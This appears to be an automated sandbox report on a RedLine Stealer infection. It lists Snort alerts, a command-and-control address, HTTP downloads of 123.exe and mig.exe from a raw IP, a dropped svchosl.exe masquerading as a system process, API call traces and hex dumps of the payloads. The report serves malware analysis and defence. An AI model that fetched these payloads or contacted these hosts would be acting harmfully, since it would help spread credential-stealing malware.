Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1d 10 Sep 2019built on: Mon Sep 16 11:00:37 2019 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: svchosl.exe, 00000010.00000002.3280721436.00007FF8A8A03000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\A\6\b\libssl-1_1.pdb source: svchosl.exe, 00000010.00000002.3283717281.00007FF8B8053000.00000002.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\python38.pdb source: svchosl.exe, 00000010.00000002.3282402293.00007FF8A8DFD000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\select.pdb source: svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3286731624.00007FF8BFAB3000.00000002.00000001.01000000.00000012.sdmp, select.pyd.14.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: svchosl.exe, 00000010.00000002.3280721436.00007FF8A8A03000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_ctypes.pdb source: svchosl.exe, 00000010.00000002.3286058819.00007FF8BA501000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\_lzma.pdb source: svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3284341028.00007FF8B9094000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: C:\A\21\b\bin\amd64\unicodedata.pdb source: svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: vcruntime140.amd64.pdb source: svchosl.exe, 0000000E.00000003.2368939718.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 00000010.00000002.3286403821.00007FF8BA51E000.00000002.00000001.01000000.0000000E.sdmp

Source: C:\Users\123.exe	Code function: 3_2_00EBA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	3_2_00EBA69B
Source: C:\Users\123.exe	Code function: 3_2_00ECC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	3_2_00ECC220
Source: C:\Users\123.exe	Code function: 3_2_00EDB348 FindFirstFileExA,	3_2_00EDB348
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B3276F0 FindFirstFileExW,FindClose,	14_2_00007FF77B3276F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B326B80 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	14_2_00007FF77B326B80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 14_2_00007FF77B341674 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	14_2_00007FF77B341674
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B3276F0 FindFirstFileExW,FindClose,	16_2_00007FF77B3276F0
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B326B80 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	16_2_00007FF77B326B80
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF77B341674 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	16_2_00007FF77B341674
Source: C:\ProgramData\MicrosoftSystem\svchosl.exe	Code function: 16_2_00007FF8A87C4462 _errno,malloc,_errno,memset,MultiByteToWideChar,GetLastError,MultiByteToWideChar,MultiByteToWideChar,free,_errno,FindFirstFileW,_errno,FindNextFileW,WideCharToMultiByte,	16_2_00007FF8A87C4462

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	0_2_07C44BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	0_2_07C44B24
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	0_2_07C44AE2
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	0_2_07C44AE8
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_07D3D140
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_084E9848
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_084E983C
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-3Ch]	0_2_0851C9CC
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-3Ch]	0_2_0851CDF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then inc dword ptr [ebp-20h]	0_2_085BB270
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 08988EEDh	0_2_08988C18
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 0898C3DBh	0_2_0898BE98
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 08989711h	0_2_08988F90
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 08985401h	0_2_089853E9
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 08987F45h	0_2_08987F24

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2046045 ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) 192.168.2.5:49704 -> 147.45.78.229:43674
Source: Traffic	Snort IDS: 2043231 ET TROJAN Redline Stealer TCP CnC Activity 192.168.2.5:49704 -> 147.45.78.229:43674
Source: Traffic	Snort IDS: 2043234 ET MALWARE Redline Stealer TCP CnC - Id1Response 147.45.78.229:43674 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2046056 ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) 147.45.78.229:43674 -> 192.168.2.5:49704
Source: Traffic	Snort IDS: 2019714 ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile 192.168.2.5:49712 -> 77.221.149.185:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 147.45.78.229:43674

Source: global traffic	TCP traffic: 192.168.2.5:49704 -> 147.45.78.229:43674
Source: global traffic	TCP traffic: 192.168.2.5:49713 -> 77.221.149.185:5988

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 20:52:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 01 Jul 2024 21:53:52 GMTETag: "5723fc-61c36a2003c00"Accept-Ranges: bytesContent-Length: 5710844Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 78 5f 63 ed 3c 3e 0d be 3c 3e 0d be 3c 3e 0d be 88 a2 fc be 31 3e 0d be 88 a2 fe be b2 3e 0d be 88 a2 ff be 24 3e 0d be 9d 49 f0 be 3e 3e 0d be 9d 49 09 bf 2f 3e 0d be 9d 49 0e bf 2b 3e 0d be 9d 49 08 bf 08 3e 0d be 35 46 8e be 37 3e 0d be 35 46 9e be 3b 3e 0d be 3c 3e 0c be 29 3f 0d be c9 49 08 bf 0d 3e 0d be c9 49 0d bf 3d 3e 0d be c9 49 f2 be 3d 3e 0d be c9 49 0f bf 3d 3e 0d be 52 69 63 68 3c 3e 0d be 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 8d bf 20 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1e 00 1c 03 00 00 c8 01 00 00 00 00 00 30 f5 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 07 00 00 04 00 00 00 00 00 00 02 00 40 c1 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 d0 03 00 34 00 00 00 a4 d0 03 00 50 00 00 00 00 40 06 00 50 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 07 00 3c 23 00 00 1c b1 03 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 55 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 03 00 78 02 00 00 ec c5 03 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 dc 1b 03 00 00 10 00 00 00 1c 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c0 ae 00 00 00 30 03 00 00 b0 00 00 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 20 47 02 00 00 e0 03 00 00 10 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 90 01 00 00 00 30 06 00 00 02 00 00 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 e0 00 00 00 40 06 00 00 e2 00 00 00 e2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 23 00 00 00 30 07 00 00 24 00 00 00 c4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 02 Jul 2024 20:52:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 24 Jun 2024 07:21:38 GMTETag: "2cf6b5b-61b9da1c32480"Accept-Ranges: bytesContent-Length: 47147867Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 78 5f 63 ed 3c 3e 0d be 3c 3e 0d be 3c 3e 0d be 88 a2 fc be 31 3e 0d be 88 a2 fe be b2 3e 0d be 88 a2 ff be 24 3e 0d be 9d 49 f0 be 3e 3e 0d be 9d 49 09 bf 2f 3e 0d be 9d 49 0e bf 2b 3e 0d be 9d 49 08 bf 08 3e 0d be 35 46 8e be 37 3e 0d be 35 46 9e be 3b 3e 0d be 3c 3e 0c be 29 3f 0d be c9 49 08 bf 0d 3e 0d be c9 49 0d bf 3d 3e 0d be c9 49 f2 be 3d 3e 0d be c9 49 0f bf 3d 3e 0d be 52 69 63 68 3c 3e 0d be 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 8d bf 20 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1e 00 1c 03 00 00 c8 01 00 00 00 00 00 30 f5 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 07 00 00 04 00 00 00 00 00 00 02 00 40 c1 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 d0 03 00 34 00 00 00 a4 d0 03 00 50 00 00 00 00 40 06 00 50 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 07 00 3c 23 00 00 1c b1 03 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 55 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 03 00 78 02 00 00 ec c5 03 00 20 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 dc 1b 03 00 00 10 00 00 00 1c 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c0 ae 00 00 00 30 03 00 00 b0 00 00 00 20 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 20 47 02 00 00 e0 03 00 00 10 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 90 01 00 00 00 30 06 00 00 02 00 00 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 e0 00 00 00 40 06 00 00 e2 00 00 00 e2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 23 00 00 00 30 07 00 00 24 00 00 00 c4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /clients/123.exe HTTP/1.1Host: 77.221.149.185Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /clients/mig.exe HTTP/1.1Host: 77.221.149.185

Source: Joe Sandbox View	ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU
Source: Joe Sandbox View	ASN Name: INFOBOX-ASInfoboxruAutonomousSystemRU INFOBOX-ASInfoboxruAutonomousSystemRU

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.78.229

Source: C:\ProgramData\MicrosoftSystem\svchosl.exe

Code function: 16_2_00007FF8BA2463D8 recv,

16_2_00007FF8BA2463D8

Source: global traffic	HTTP traffic detected: GET /clients/123.exe HTTP/1.1Host: 77.221.149.185Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /clients/mig.exe HTTP/1.1Host: 77.221.149.185

Source: file.exe, 00000000.00000002.3280784216.00000000049E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.00000000049DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.221.149.185
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.00000000049D4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2297755975.00000000089E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2297306478.00000000089D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://77.221.149.185/clients/123.exe
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.00000000049E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://77.221.149.185/clients/mig.exe
Source: svchosl.exe, 00000010.00000002.3277924522.0000021306780000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org/techtonik/python-pager
Source: svchosl.exe, 00000010.00000002.3277478424.00000213065F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bitbucket.org/techtonik/python-wget/
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: svchosl.exe, 0000000E.00000003.2368939718.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic
Source: svchosl.exe, 0000000E.00000003.2368939718.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mic;
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: 